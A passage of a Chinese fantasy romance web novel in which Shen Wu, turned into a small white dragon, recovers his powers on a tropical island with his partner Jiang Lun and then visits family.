姜纶已经恢复了人形，站在树底下对上面伸手：“小鲨鱼，下来。” 沙伍往下看了看。 奇怪，他爬了那么高？ 咦？他会爬树了！ 伍哥果然十项全能！ 他抬头往上，发现距离头顶的椰子没多远：“你离远一点，我摘两个椰子！” 姜纶就看他灵活地爬上去，试了两下，才抬起一只爪子。 爪子太短，够不到椰子。 小白龙干脆一口咬住椰子，然后连着椰子一起摔了下来。 姜纶稳稳接住，盘腿坐在地上，小心把椰子从小白龙的牙齿上扒拉开：“怎么跟小粉一样，天天卡住牙。” “哪有天天？我就卡了这一次。”小白龙四脚朝天被姜纶抱在怀里，总觉得有点怪，左扭右扭翻过身，挂在姜纶腿上看着特别巨大的椰子，“这个皮太厚了。我在朱雀城吃的椰子皮很薄的，轻轻一磕就开口了。” 姜纶也不知道这个椰子是什么品种：“刚吃完饭，等会儿我给你开椰子。” 小白龙歪头看向姜纶：“我这个样子不丑？”《 》 75-80 第76章 恢复 沙伍花了一天时间，才确认自己变成了一条龙。 “所以，我脑门上的鼓包不是肿包，是龙角？” 他趴在室内池子边沿，对着平滑如镜的水面，试图看清楚自己现在的样子。 姜纶抬手摸摸：“是的。” “嘶——”沙伍被摸得一个激灵，甩头跑开，四只爪子在地上打滑，呲溜呲溜地甩出去，“你别乱摸！” 姜纶赶紧追过去把他抱住：“别激动，我不乱摸。”说着，把小白龙从头到尾巴撸了一遍。 小白龙张嘴就咬：“还不乱摸！” “这是很正经的摸。”姜纶狡辩，把小白龙跟条围巾似的挂在肩膀上，又托住他的后脚，“去海里玩？这里有珊瑚礁。” “去！” 小白龙下水。 小白龙沉底。 小白龙卧沙。 姜纶把他从沙子里挖出来，猜测：“不会游了？” 小白龙噗噜噗噜吐泡泡，默认。 姜纶站在浅滩上，双手托着小白龙的腹部，充当游泳教练。 小白龙显然对自己的四肢不太熟悉，偶尔用力过猛还会被尾巴抽到脑袋，然后嘴巴去教训尾巴。 姜纶看沙伍是怎么看怎么可爱，恨不得去买个新手环，把眼前的场景给拍下来。 飞回去买个手环倒是容易，但他不放心把沙伍一个人放在岛上。 要是把沙伍带着一起回去，以现在沙伍小白龙的样子，怕不是要引起轰动。 轰动倒是没什么，问题是小白龙现在一点异能都用不出来，完全没有任何自保能力。 还好姜纶并没有纠结太久。 两天后，梁管家一行人驾驶着游轮靠岸，很识相地停靠在猎人小屋那边。 “小少爷。”梁管家飞到他们的花园里，看着走路歪歪扭扭的小白龙，蹲下，“小伍换新形象啦？” “嗷。”小白龙试着抬起身体，两只前爪轻轻搭在梁管家伸过来的手上，歪着头蹭蹭。 姜纶瞬间就把小白龙团吧团吧抱起来：“东西放门口，别的不用管。平时不要来这一片。” 梁管家笑着摸摸小白龙的头毛：“好的。”手感真好，软乎乎的。 姜纶抱着小白龙让开：“别乱摸！” 小暴龙扭头就给了姜纶一口。 梁管家看他们打打闹闹，很快就带着人搬来了几个集装箱：“那你们忙，一会儿中午过来午餐。小少爷，先把基站架好，我们在岛上能通信。” “好。” 小白龙挂在姜纶背上，看他熟练地拆箱子，拿起很多看上去很复杂的零部件，再看看山高的集装箱：“你什么时候准备的这些东西？平时都放哪儿了？” “没特意准备，想到什么就买点，放仓库里。大部分是准备带到生蚝岛上的，梁伯不知道，都给弄来了。”应该是他姐没说清楚，不过能带来就不错了。 他们两个单独生存没问题，但是想要一点生活质量，还是离不开人类文明。 沙伍抬头看看让天都黑了半边的集装箱：“我们生蚝岛上的房子都没那么大。” “房子可以改的。”姜纶跟着看了看，“好像是太多了。” 生蚝岛那边冷，岛也不大，房子小点有利于保暖。 他各种取暖的设备就买了好几种。 现在的战队小岛非常靠近赤道，压根不需要取暖。 姜纶很快就架设好了两个小型基站。 新手环不能连接公共网络，可以连接局域网。 沙伍打开手环，像是回到了文明社会，先给自己来了个全身拍摄，360度观察自己的新形象。 姜纶问他：“怎么样？” 沙伍回答：“帅！”看到姜纶，他又爬到他背上趴着，歪头蹭脸一套熟练小连招，“没有金色的亮闪闪。” 姜纶被他哄得嘴角上扬，带着他拆箱：“我自己买的什么东西也不太记得了。” 家具种类都差不多。 只是很多需要定制，定制周期长短不一，他不太确定哪些到货了，哪些没到货。 他的想法又很多。 两个人匆匆吃了个饭，回来就继续安置家具。 沙伍好奇：“我还以为你会自己手搓家具呢。” “我倒是想。这不是生蚝岛上的资源太少了。我们现在那张床太硬了。” 家具的尺寸都比正常的要大。 姜纶直接把一堵墙挪走，把家具摆进去，再把墙壁重新复原。 使用各种晶核作为能源的电器不用另外铺设线路，简单安装就行。 细枝末节的事情交给家政机器人和管家机器人。 只一天时间，光秃秃的房子就变得很有生活气息。 小白龙抱着一个特别大的椰子，在客厅地毯上推着玩。 姜纶坐在沙发上，皱着眉头处理工作，时不时被路过的小白龙故意踩两下脚，他就故意去绊小白龙。 沙伍一个人玩了一会儿，突然感觉特别幼稚，一尾巴把椰子抽飞，爬到沙发上，往姜纶怀里一钻：“不是不能联网吗？怎么你还能工作？” 姜纶摸了摸小白龙的头发，低头亲了亲：“一些变异植物的规划。培育出来的新品种、各种变异植物的种植面积、和国外大区的交易，牵涉到很多。” 沙伍听着就觉得麻烦。 “你以后就专门负责农业这块？”小白龙甩甩尾巴，抬头看着面前光屏上密密麻麻的各种信息，“我还以为你会负责整个青龙城……也不对，我以为你会遨游四海，征服全宇宙！” “那是当然。我现在在做的就是先整合华夏大区。现在这样五大城，资源太分散了，不利于管理。等把五大城集合起来，能够节约出更多的人力去开拓新的地盘。”姜纶想想沙伍以前住的东湖孤儿院的楼房，就觉得心情和大楼内部的光线一样阴郁，“我们可以让大家尽量住得舒服一点，起码能在自己家晒晒太阳，种两棵小花小草，养上一只小宠物。” 沙伍听得又向往又头疼：“这比整合农业资源都难吧？别人会同意吗？” 姜纶捏捏小白龙的爪子：“他们同不同意不重要。现在九级的基本都同意，不同意的、表面上同意背后使绊子的，会采取一些比较激烈的手段。接下来很长一段时间，你的安全要格外注意。” 家里别人都不怕，沙伍现在的状态实在是毫无抵抗力。 “那我沙妈妈他们呢？” “不用担心。沙妈妈最近转岗到了环卫局直属幼儿园，其他人也安排了相关的培训之类的，转到一个相对封闭的环境中，方便保护。没提前跟你商量，对不起。” 沙伍的亲戚关系简单，这方面很容易安排。 “没什么好对不起的。”小白龙抱着他蹭蹭，突然想到，“那他们这样，是不是马上就能涨工资了？” “是的。培训通过后，他们就能升职加薪。” 沙壹他们都是在本职工作中干了很多年的人，本身也经历过一两次升职培训。 像沙贰和曾绍祺平时工作表现优秀，本来就要升职，只是增加一些培训时间而已。 姜纶这边操作，完全可以做到无痕。 沙伍抱着姜纶的脖子蹭蹭：“谢谢~” 他知道以自家人的情况，就算姜纶不给任何支持，普通过日子是完全没问题的，但是姜纶给托一把，他们的工作生活可以轻松很多。 而且这种托举是在充分考虑了他们各自的工作，并没有直接给他们安排一个空降的闲职，或者是直接给一大笔钱，这样得来的生活更加踏实。 姜纶抱着他亲亲：“知道我好了吧~” “嗯。”小白龙在他怀里调整了一下姿势，可惜现在这个体型不适合坐着，躺着也不舒服，最后在姜纶腿上踩了两圈，还是趴在沙发上，把尾巴搭在他腿上。 姜纶看他开始嗑链路相关的数学，重新把注意力放回到工作上。 晚上睡觉的时候，小白龙缠着姜纶，不像以前那样能够主动进入冥想，而是被姜纶拉进冥想状态。 这种感觉很奇妙。 像是相邻的两个房间，原本他可以先回自己的房间，然后通过密道进入姜纶的房间。 现在他的房门坏了，他只能先通过姜纶的房间，再通过密道，回到自己的房间。 嗯，这扇门也坏了。 小白龙紧紧依靠在金龙身上，像是隔着透明玻璃观察自己的星空。 唉…… 他这个破烂身体是搞不好了，漏洞的问题还没修复好，现在又出了新问题。 进不去自己房间，他只能跟着金龙待在姜纶的房间里。 和他的满天星辰不一样，姜纶这边完全是一条咆哮的通天河，无边无际。 这也太狂躁了。 不能平静一点吗？ 水流应该是有规律地流淌才对啊。 小白龙的想法传递到了金龙脑海里。 金龙显然有些茫然。 小白龙爬到金龙的头顶，认真感受着混乱河流中的某种规律。 好一会儿，他开始指挥着金龙顺着某个方向游动。 金龙得到的讯息是—— “向前！冲冲冲！” “左边绕个圈。” “右边绕个大圈。” “右拐！” 姜纶一觉醒来，揽过横在他身上睡得四仰八叉的小白龙，摸了摸肚皮，又摸了摸背毛，嘀咕：“把我当飞板玩呢？” 小白龙蹬了蹬腿，从他身上滑下来，改成趴卧。 姜纶也不吵他，起床洗漱完了去猎人小屋。 原本简陋的猎人小屋已经完全变了一副模样，从光秃秃的房架子，变成了一座爬满了鲜花的海滨度假别墅。 祁大厨问：“小伍呢？” “还睡着呢。”姜纶问他，“早餐好了吗？” “好了。你带过去吃？”祁大厨得到肯定的答复后，把早餐和早点一起放进保鲜盒里，交给姜纶。 姜纶刚准备走，想了想说道：“晚点等小鲨鱼醒了，我把他带过来。下午我回去一趟，你们帮我多看着他一点。” “好。” 沙伍得知姜纶要把他丢下，就很不高兴，黏黏糊糊扒着不让走：“我也想出去玩~” “去跟梁伯他们玩？” “不想动。” 姜纶就说：“乖~爸爸出门上班赚钱~” 沙伍瞬间翻脸：“滚！跟谁爸爸呢？快滚！” 姜纶把非常难按的小白龙摁住了猛亲龙角：“乖~爸爸回来给你带玩具。” 小白龙被亲得尾巴都抽筋了。 玩具？ 玩具♂ 他屋里屋外上树下树爬了好几圈，冷静下来。 他还小呢，什么玩具都别想。 咦？ 现在家里没人。 他打开手环。 新手环内的数据，完全复制了旧手环上的，里面存了的除了他的各种学习资料之外，还有各种学习♂资料。 之前他瞟过一眼，感觉内容过于刺激，没两分钟就关了。 现在，要不看看？ 学习嘛。 这是正常的生理知识。 他心不在焉地想着，脑袋一下顶到椰子上，才发现自己已经爬到了椰子树顶。 小白龙现在已经能够很熟练地上树摘椰子了。 梁管家飞过来，问他：“小伍，要帮忙吗？” “不用。”小白龙一爪子抓住椰子，用三条腿倒退着下树。 “下午准备干嘛？” “学习！” 梁管家虽然觉得沙伍的回答有点大声，但没多想：“那我不打扰你了。一会儿我把屏蔽器打开，你在里面安心学习，有什么事情手环上叫我。” “好的。” 小白龙把脑袋藏在椰子后面，看梁管家飞走，等屏蔽器开启时候的白光一闪而逝，才蹑手蹑脚往屋里推椰子，一路推进卧室，把房门关了。 姜纶离开，其实只是找个能联网的地方，加上他的飞行速度很快，算上一个多小时的视频会议，来回也就两个小时。 “怎么开屏蔽器了？”他转身去了猎人小屋，找到梁管家，“梁伯，小鲨鱼没出去玩？” “没，他说要学习。”小孩子说自己要学习什么的，听听就好，哪怕是学习自觉性很强的沙伍，也不能全信。 现在是暑假，沙伍不管有没有在学习都不重要，他只要保证他没出去乱跑遇到危险就行。 估计小孩儿也不想被人一直盯着。 姜纶拿上饮料和点心，飞回已经关掉了屏蔽器的房子里。 他故意全程没发出声响，极力收敛自己的气息，很好奇沙伍一个人在干什么坏事？ 不在客厅。 房门关着。 他轻轻打开门，还没看到画面，就听到不可描述的声音。 巨大的光屏投影在房间的墙壁上，两个光溜溜的人……？有尾巴的这是……部分觉醒体？ 再看看自家小白龙趴在床上，尾巴一下一下拍打被面，看到一个高难度动作，尾巴瞬间绷直了：“这、这么爽的吗？” 姜纶轻轻坐到床上，见小白龙压根就没发现他，伸出一根手指，沿着小白龙脊椎上的一溜鬃毛轻轻一划。 “嗷！”小白龙瞬间起飞，浑身的毛都炸开了。 吓圆的眼睛在认出姜纶的时候，七手八脚把片子关了，弓着背往后退了两步，越退越尴尬：“说话！” 姜纶仰头看着尾巴快顶到吊灯的小白龙：“你会飞了？” “嗯？”小白龙抬头又低头，确认自己现在距离天花板很近，距离地面的很远。 四只爪子划拉了一下，确认脚下没有任何飞板、小飞车这类的飞行工具。 也没有异能。 更没有翅膀。 小白龙想了想，觉得自己不应该会飞，于是直接掉了下去。 姜纶伸手接住：“又不会飞了？” 小白龙觉得姜纶的双手烫龙，被抱着浑身不自在，扭了两下，爬到姜纶的背上，才感觉自在了点：“我应该会飞吗？” “龙都会飞的，这是本能。”姜纶干脆背着他去外面，自己变成金龙，带着他飞了一圈。 小白龙趴在金龙背上，感觉和双修的时候很不一样。 住脑！ 不要想双修！ 想法传递到姜纶脑海中，金龙扭头：“回去双修？” 小白龙爪子一软，陷进金龙的毛毛里：“求不提。” 猎人小屋那边完全是度假模式。 阳光沙滩、白色的躺椅、巨大的遮阳伞，只不过没人躺着，在海上玩各种项目。 玩累了回来，有人看到天空中盘旋的金龙。 “小少爷在干嘛？” 薛春看到金龙背上的小白龙：“在带娃。” 阿二推了推墨镜：“薛哥，别这样。你不能因为自己失恋了，就看不顺眼别人谈恋爱。” 薛春冷笑：“你好意思说我？你那个‘姐姐’理你了吗？” 阿二还没回答，阿大率先吐槽：“他‘姐姐’多得是，别理他。” “哼！我去做项链。”阿二手上抛着几粒晶核。 薛春看那些歪瓜裂枣个头还很小的晶核，问阿大：“你弟就拿那些个东西追女朋友？” 阿大心累：“嗯。还没小伍的十分之一诚心，天天装低阶异能者追人。” 很多人压根看不上他，看得上他的在发现他骗人后也拜拜。 他是搞不明白他兄弟的心理。 天上的盘旋的飞龙，变成了两条。 白色的飞龙贴在金龙身边，像是一条细细的线，然后像一颗炮弹一样往猎人小屋直接撞过来，在最后关头被梁管家用一个抄网抓住。 网里的小白龙晕头转向，被赶过来的姜纶解开了抱起来。 梁管家皱眉：“小伍是怎么了？” 姜纶心虚：“没什么。”他不该跟小鲨鱼讲有颜色的笑话，没想到他反应这么大，“晚餐吃什么？” 梁管家听他转移话题，也没追问，只劝了一句：“别光顾着玩，想想怎么让小伍快点恢复。” “我知道。”这不是抓紧时间双修……很正经地双修着呢。 或许是双修真的有用，不仅仅是姜纶感觉自己的异能明显平稳了许多，沙伍也觉得自己的“房门快修好了”。 至于房门怎么修，他不清楚：“反正就是一种感觉。”他甚至兴致勃勃地怂恿姜纶，“要不你多给我点污染？” “别想了。你这次变化跟我的污染没关系。”姜纶掐着小白龙的咯吱窝把他提溜起来站直。 小白龙两条后腿还能蹲坐在地上：“干嘛？” 姜纶的嘴角向下压：“你不说我都忘了。那天你在房间里睡午觉，睡着睡着人突然没了。” “啊？”小白龙一下就站直了。 只是他的腿太短，蹲坐和站直看起来变化不太明显。 “你……的觉醒体到底是什么？现在的小白龙也是假的吧？”他微微皱眉，把小白龙往自己肩膀上一甩，摸了摸他后背，“现在背还疼吗？” 小白龙习惯性绕过姜纶的脖颈，脑袋放在他的颈窝：“不疼了。你很介意我的觉醒体是什么？” “随便是什么都行。你身体健康就好。”姜纶完全不在意沙伍的觉醒体究竟是大白鲨还是小白龙，“就是我感觉你的异能可能和幻术、隐匿这一类的有关？” 小白龙歪头：“我的异能不是吞噬吗？” “一个人的异能不太可能是纯粹的一种。”姜纶提醒他，“异能第一课，任何一个活着的生物都是五行平衡的。哪怕你是吞噬异能，也可以把吞噬异能转化成其它元素异能，也可以用来强化体质。等你对异能的认知更全面，控制力更强，能够使用出的异能会更加灵活。” “譬如？” “譬如冰、蒸汽、雷电之类的。”姜纶简单示范了一下，“别跑偏。说你可能会有第二异能。” 小白龙被劈在眼前的雷电吓了一跳，爪子往后退到姜纶背上：“第二异能就第二异能呗。” “别不当一回事。”姜纶干脆走到客厅里，把小白龙放到沙发上，自己盘腿坐在地毯上。 小白龙爬到沙发背上，对他进行俯视：“好了，说吧。” “说你的异能，怎么是我说？你自己分析分析。”姜纶不满他一副事不关己的态度，知不知道他那天看到他突然消失，整个人都差点没了？ “我理论知识还是学了不少的。”分析就分析，小白龙认真回忆自己的情况，脑袋一点点滑到沙发靠枕上，形成一个比较扭曲的直角。 姜纶担心他落枕，把他脑袋正过来。 噫~小白龙的脑袋好小~MUA~ 噫~小白龙的鳞片摸着软软的~MUA~ 噫~小白龙的龙角好像长长了一点点~MUA~ “嘶——”被亲到敏感部位，小白龙抬头顶了他一下，“我在思考，你别捣乱。” “那你思考出什么来了吗？”姜纶跪坐在沙发上，伸出一根手指挠小白龙下巴。 小白龙仰着脖子让他挠：“嗯。吞噬应该是我的第二异能，第一异能是伪装。” “嗯？”姜纶挠下巴的动作停了。 小白龙深呼吸一口气，变回人形。 在他想明白的那一刻，原本坏掉的房门突然修好了。 远比曾经见过的星空更加闪耀的星河密密麻麻显现。 那些他曾经以为的带走他异能的漩涡，全是一颗颗星星。它们或许是在更加遥远的地方，但依旧跟他保持着紧密的联系。 他的异能并不是漏掉了，而是被储存在另外一片更加深邃的星空中。 第77章 小堂叔 能够变回人形当然很好，但是沙伍忽略了一个问题。 他的衣服没了。 他变成龙形的时候穿着的就是一身普通的睡衣，在姚瑞云的帮助下变回人形的时候，后背的衣服本来就已经破了。 后来他又变回了小白龙的样子，根本就没有换衣服，一天天的上树下河，不管有没有污染，反正就那么一身只是质地柔软，并没有具备坚韧耐磨属性的睡衣，早就完成了它的历史使命，现在身上啥都没剩。 姜纶没往有颜色的地方想，只是欣喜沙伍找回了异能，看他突然涨红了脸“嗷”一嗓子冲回卧室，还在中间差点摔了一跤，不由得也捂住脸，仰头倒在沙发上。 明明亲过摸过，就是很害羞。 结果正经话题一个没说，两个人就一个待在客厅，一个待在卧室，跟分房似的。 一直到梁管家提醒晚餐，两个人才算是出了门。 沙伍下意识往姜纶背上扑，等被抄着膝弯背起来，看着自己长长的胳膊才反应过来：“忘记了。” 这段时间自己就跟驻扎在姜纶背上一样，都没想起来自己恢复成了人形。 姜纶倒是不介意背人还是背龙：“忘记了也没关系，只要不会突然消失，什么都好说。” 沙伍还是不理解自己怎么突然消失的，房间里也没监控，他消失的画面姜纶也没拍下来，但是能让姜纶反复提起的事情，显然不是姜纶胡编乱造的：“我有努力学习，争取早日搞清楚自己的异能性质，以后尽量不发生那样的事情。” 姜纶也知道，这样的事情不是沙伍可以控制的：“先吃晚餐，等会儿再说。” “好~” 梁管家们看到沙伍变成了人形，显然很意外：“小伍变回来啦？” “异能恢复了没有？” “恢复了！”沙伍跳下姜纶的后背，自觉打开手环的附带健康软件，把上面的各项数值对接给祁大厨，“叔，我又回来啦！” “又什么又！你不是一直都在？”祁大厨没好气地看他的数据，然后皱起眉头，“新手环是不是不准？数值跟之前的比，提升了很多。” 沙伍那些很复杂的指标看不明白，体重很明白：“我130斤了！” “才130斤骄傲什么？先长到160斤再说。” 沙伍自信心爆棚：“区区160斤，我马上长到200斤！叔，我要多吃！” 祁大厨没好气：“在这儿等着我呢是吧？行，给你多吃。” 他说到做到，晚餐果真给沙伍准备了比以往更多能量的食物，但是提醒：“吃不下就别吃。我先给你按照正常标准的105%，要是数值向好的话，每周再给你增加5%。你自己的身体感觉是最关键的，有任何的不适，记得直接跟我说，我好及时调整。” “好的。”沙伍其实觉得营养餐挺好的，就是，“多出的5%能换算成点心吗？夜宵也行。” 祁大厨：“你只需要负责吃。” 沙伍低头：“好的。” 吃过饭，沙伍就被姜纶带着回去了。 “我还以为医生们也会来呢。” 姜纶解释：“你的情况比较特殊，暂时还是不要让医生知道太多。我认识你的时候，有人在我的药剂里动了手脚，导致我污染爆发。后来查出来就是瑞云实验室的医生做的手脚。那个人曾经一度是我的主治医生。他这么做的原因只是出于他个人的想法。” 沙伍皱眉：“什么想法？” “瑞云实验室刚建立的时候，那个人就是第一批被选入的。他的命，他全家的命都是我妈救的。他对我妈非常忠心，忠心到他觉得我是个可能会对我妈的威胁，就决定把我处理掉。他知道我妈舍不得，所以替我妈下决心。”姜纶拉着他坐在卧室外面的门廊下。 沙伍不知道该说什么，只能干巴巴地说了一句：“这件事情原来已经调查出来了啊。” “嗯。他之前故布疑阵，让调查绕了一些弯路。”姜纶偏头跟他贴了贴脸，“抱歉，不是故意瞒着你。这件事情太荒谬了，我都不知道该怎么说。反正我现在有心理阴影，总觉得医生会因为一些奇怪的理由做出一些不好的事情。” 沙伍没好气地拍了他一下：“别职业歧视啊喂！医生已经够辛苦了，还要被你这么怀疑。” 姜纶也知道自己这么想不对，但是：“我有在努力调整心态。”就是现在还没调整好，“来，说说你第一异能的事情。” “哦，对。”沙伍把垂在门廊下的小腿收回来，踢掉拖鞋，盘腿面对着姜纶做好，开始掰指头算，“我的异能值一直很低，差一点点就是那种没有一丁点变异值的人了。一直到高中毕业，我的身体都已经出现了相关变化，我的异能值都只有5点。我怀疑……差不多可以确定，我一直在使用异能，伪装成一个普通人，一个完全不需要和异能检测有相关接触的普通人。” “嗯。”姜纶觉得沙伍的想法很合理，但是，“你为什么要伪装呢？” “大概就跟你们说的那样，幼体缺乏自我保护能力，只能依靠伪装来躲避天敌？”沙伍觉得这个理由能说得通，“你看，我孤儿出身，没有能够庇佑的长辈，只能这样了。后来是咬了你一口，装不下去了，所以……解锁了一点？” 本人都不确定的事情，姜纶只会更加困惑：“一般来说，没有解锁一点的说法。觉醒异能就是直接觉醒。”能够提升的是对于异能的强度和控制力。 至于一个人的异能，从出生起就决定了。 沙伍“哦”了一声：“你说，有没有可能我表现出来的异能值天赋和觉醒体，也都是装的？虽然经过精密仪器检测出来是S级，但也没有S级到太离谱的程度。班级里异能值天赋最高的，默认是郑郑。” S级的数值超过了仪器检测的上限，但相互之间还是能够感觉到强弱。 “郑郑谁？” “郑燕珺，蓝鳍金枪鱼。” “哦~她啊。你叫这么亲干嘛？”叫他都连名带姓地叫，也不知道想个亲近点的称呼。 “大家都这么叫。”沙伍看他一眼一眼地刮自己，不自在地动了动腿，继续说道，“你看我其实打架、打猎都很厉害，郑郑……郑燕珺只能给我当小弟。所以，你说我现在……之前的那些是不是都是假的？” 姜纶伸手把沙伍一拉，拽到自己面前：“仪器的精度和测算范围有限，出现偏差是可能的。问题是你现在的一级是真的吧？” 小鲨鱼打架的强，说白了只是拳打幼儿园的程度。 伍哥虽然天天嚷嚷着要长到200吨，制霸全宇宙，但现在也就是在学校里菜鸡互啄。 “嗯。”外貌可以骗人，战斗力骗不了人。 姜纶想不明白：“之前你都没有一级，夜老师、大姐、爸妈都检查过，也没检查出什么问题来。” 他和沙伍都双修过多少次了，对沙伍的里里外外可能比他本人还熟悉……好吧，就算他是个半吊子九级，但他刚才说的任何一个都不是半吊子。 甚至对人体的了解程度，鸭老师得出的结论也只是沙伍的身体比较不好，得慢慢温养。 沙伍眨了眨眼：“嗯。” “嗯什么嗯？”姜纶对沙伍的身体健康操碎了心，偏偏本人没怎么放在心上。 沙伍往姜纶身上一倒：“那我也没办法嘛。你们那么多九级都不知道的事情，我怎么可能清楚？要不等我七级之后，应该就能搞明白自己究竟是个啥了。” 想到这里，他突然跳起来，把姜纶吓了一跳：“怎么了？” 沙伍直接光着脚往海里面狂奔：“我要去游泳！” 小白龙的这几天他学会了走路爬树，甚至是飞行；但是，游泳一直不够灵活，游一段就卧沙。 果然，假的就是假的。 有些事情真不了。 咦？ 他突然刹住脚，发现了华点。 他不会游泳，但真的会飞？ 他想到自己刚发现的另外一片星空。 意思是，他的觉醒体其实是会飞的？ 可是作为一条大白鲨，他怎么就突然不会游泳了呢？ 想不明白。 追在后面的姜纶，刚想问他怎么了，就见他又冲着大海狂奔而去，没一会儿海上就升起熟悉的三角背鳍，游得飞快。 姜纶没跟过去，就站在沙滩上，看久违的大白鲨在海里欢快地跳跃，拿手环记录。 沙伍找回自己的大白鲨觉醒体之后，开始真正享受热带岛屿的美丽。 色彩绚烂的珊瑚礁，和珊瑚礁同样绚烂的各种热带鱼。 各种水果蔬菜更是多不胜数，吃都吃不过来。 姜纶和几个木系土系的保镖们，天天钻林子采集各种样本，已经在岛上开辟出了一片实验大棚。 沙伍跟在梁管家屁股后面，现场观摩怎么布置阵法：“护山大阵！” 他接触过的链路都是很小的，基本上就是一些家用电器之类，像是照明用的灯光啊，做饭用的炉灶之类。 感觉最复杂的链路结构，大概是管家机器人的。 现在梁管家竟然说要把整座岛都围起来！ 不只是战队岛本身，还包括战队岛周围的一片岛屿的一部分。 梁管家纠正：“不是什么阵法，就是防御性质的链路。” 同样跟着学习的，还有小风、阿大、阿二。 他们不像沙伍零基础，要承担很多辅助工作。 小风瞪了沙伍一眼：“安静，不要咋呼，思路都被打断了。” 阿大也说道：“有问题记下来，等回头空了再说。” “哦。”沙伍只能跟看天书一样，看着他们花里胡哨的操作。 链路图是姜纶画好了的。 沙伍知道图纸和实际施工之间有差距，但不知道具体差距在哪里，踩着飞板跟在梁管家身后，看他一会儿把一个东西放山上，一会儿把一个东西放海里，周围又有各种不同的布置，完全看不明白。 姜纶带着人布置完实验室出来，先在海面上看到蹦跶的小鲨鱼：“小鲨鱼不是跟着梁伯在学吗？怎么去玩了？” 提前回家做饭的阿大笑道：“这种多重嵌套的大型链路，对小伍来说还是太超前了。马上台风就要来了，也不可能停下来给他慢慢讲解。” 散落在海洋中的岛屿非常多。 这一片就有许多岛屿。 不得不说，姜纶非常会挑地方。 岛屿周围有高山，把小岛包围；小岛本身也有一片海湾，是非常适合作为远洋战队停靠船舶的避风港。 哪怕不布置防御链路，台风对岛上也造成不了太大的伤害。 看岛上的动植物资源就知道，这座岛上的资源格外丰富。 可惜现在被姜纶这么个可怕的家伙给盯上了，小动物正在疯狂往外迁徙，变异植物都在抓紧提升等级，好早日长腿飞走。 撇开姜纶不谈，这个岛屿本身就非常适合作为战队营地。 “一会儿我跟他讲解。”都是坏人，还是他对小鲨鱼最好。 下午被男朋友圈住了上数学课的小鲨鱼：“……我们不可以出去玩吗？” 讲道理，谁家谈恋爱上数学课的？ 姜纶就劝他：“你也不想回去之后，被夜老师打吧？” 沙伍收回放在姜纶胳膊上的双手，往后靠在他怀里，认命：“讲吧。” 夜师傅是真打人，叨鱼翅贼疼。 话是这么说，但午后阴凉处的微风相当催眠，尤其他们还躺在包裹感很强的鸟笼形吊床上。 沙伍听着听着就睡着了。 姜纶放下纱帘，风系和冰系的晶核带来凉爽的清风，回过头就看到沙伍变成了小白龙，蜷曲成一团，脑袋枕在熟悉的金龙布偶上。 这个布偶？ 他摸了摸小白龙的脑袋，伸手把布偶拿过来。 无论是从手感还是别的细节，这就是一个普普通通的布偶。 但怎么可能呢？ 他们出门明明没带，好像每次出现的时候都是伴随着小白龙一起。 觉醒体的伴生兽……伴生布偶？ 不不不，异能再怎么千奇百怪，也没有这个说法。 他捏了捏布偶，又把布偶交给小白龙，看小白龙下意识把布偶搂在怀里，赶紧拍下来。 天啊，他家小鲨鱼怎么这么可爱~ 冷静！ 姜纶把几十张小白龙睡觉的照片看过三遍后，让自己终于躺下来，抱着心爱的小白龙亲亲~MUA~ 不对不对，双修！ 他深呼吸一口气，进入冥想。 他很顺利地感受到沙伍的存在。 沙伍对他回应，却不是在他的深海中。 他顺着感应穿过两人之间的门，进入到沙伍自己的星空。 熟悉的星辰比过往更加闪耀，陌生的星辰神秘悠远。 他已经见过几次那片新出现的星辰，只是无法触及。 沙伍很快就出现在了姜纶身边。 小白龙跟金龙亲昵地碰了碰鼻子，然后带着金龙一起在两边来回遨游。 姜纶从冥想中醒来，从出生起就伴随着他的撕裂感仿佛已经是非常久远的事情。 他现在的脑海平静，像是耳边的正常的海浪拍打海岸的声音。 “小鲨鱼，起来了。” “嗯？”沙伍迷迷糊糊醒过来，习惯性爬到姜纶背上当个挂件，被带到洗手间才下来洗漱。 姜纶看他十分自然地落地变成人形，眨了眨眼没说话。 又过了一天，沙伍跟着姜纶直飞后土城。 金龙明明没有翅膀，飞得却一点不比夜师傅慢。 沙伍趴在金龙背上，都没怎么看清楚地面的风景，就已经到了目的地。 姜纶问他：“龙骑士的感觉怎么样？” 沙伍用异能清理掉浑身的水汽：“很模糊。你是要借助水，才能飞得快吗？” 整个过程几乎都在云层里，一路火花带闪电倒是不至于，就是水汽实在太过充足，完全没有视野可言。 他都没搞清楚战队岛究竟在哪里。 姜纶还没考虑过这个问题，飞行对于他来说是本能：“嗯……不借助水也可以。你知道的，龙都是腾云驾雾，龙可以借助空中的水，也可以制造水来给自己助力。水系的都差不多吧？去年军训的时候，你不也在下雨天用泡泡在雨里面飞吗？原理应该差不多。” “哦~下次我也试试。”就是他现在搞不太清楚自己变小白龙的机制，“梁伯他们要多久回来？” 姜纶不关心：“不知道。他们现在放假，反正防御链路布置好了，他们也带了足够多的物资，可能会在岛上待久一点。”跟在他身边工作的时候基本没有休息日，他待在后土城的时候，有另外的班子，梁伯他们可以集中起来放假。 他把带回来的东西找出来一些：“走，去看爸妈？” “走！”沙伍把礼物装进泡泡里，还额外准备了一个小泡泡，“不知道能不能见到小黄？” 姜纶看着泡泡里的变异小香猪，觉得这确实是一份黄喉貂会喜欢的礼物：“你去院子里找找，应该能找到。” 那只黄喉貂也不知道怎么回事，之前明明在家里玩得很好，结果等沙伍一回学校，黄喉貂就自行野化了。 沙伍有些异想天开：“你说我给小黄一个手环，能不能教它跟我视频？” “别想了。小黄只是一只聪明一点的小动物。”甚至都没有异能，说不定什么时候就死了。 姜纶提着泡泡，开着沙伍专用小飞车，一路往他爸妈所在的山头而去。 刚到地方，一只巨大的乌鸦就从树上飞了下来，落在刚下车的沙伍胳膊上。 姜纶腹诽：小鲨鱼一定偷偷叫过风阳羽小黑。 沙伍从口袋里掏出一串手串，上面编了一颗橙红一颗赤红的晶核：“小堂叔，给你的礼物。姜纶编的哦。” 大乌鸦被他叫得脚滑，扑腾了好几下才算是没摔下去，换了一个位置，站到他肩膀上：“你叫我什么？” 沙伍眨巴眼睛：“小堂叔啊。你不是爸爸的堂弟？” 他把大乌鸦薅下来，把手串往他脖子和脚脖子上比划，不太确定往哪儿戴。 大乌鸦抬起翅膀捂住他的眼睛：“别开玩笑了。” “那我们各论各的？我叫你小黑，你叫我小伍？”沙伍很好商量。 姜纶：果然出现了，小黑！ 大乌鸦抬起翅膀就给了他一下：“叫叔叔。” “好叭，叔叔。”沙伍看姜纶把给姜俣和姚瑞云的礼物泡泡搬了下来，跟着找到一扇十分特别的门。 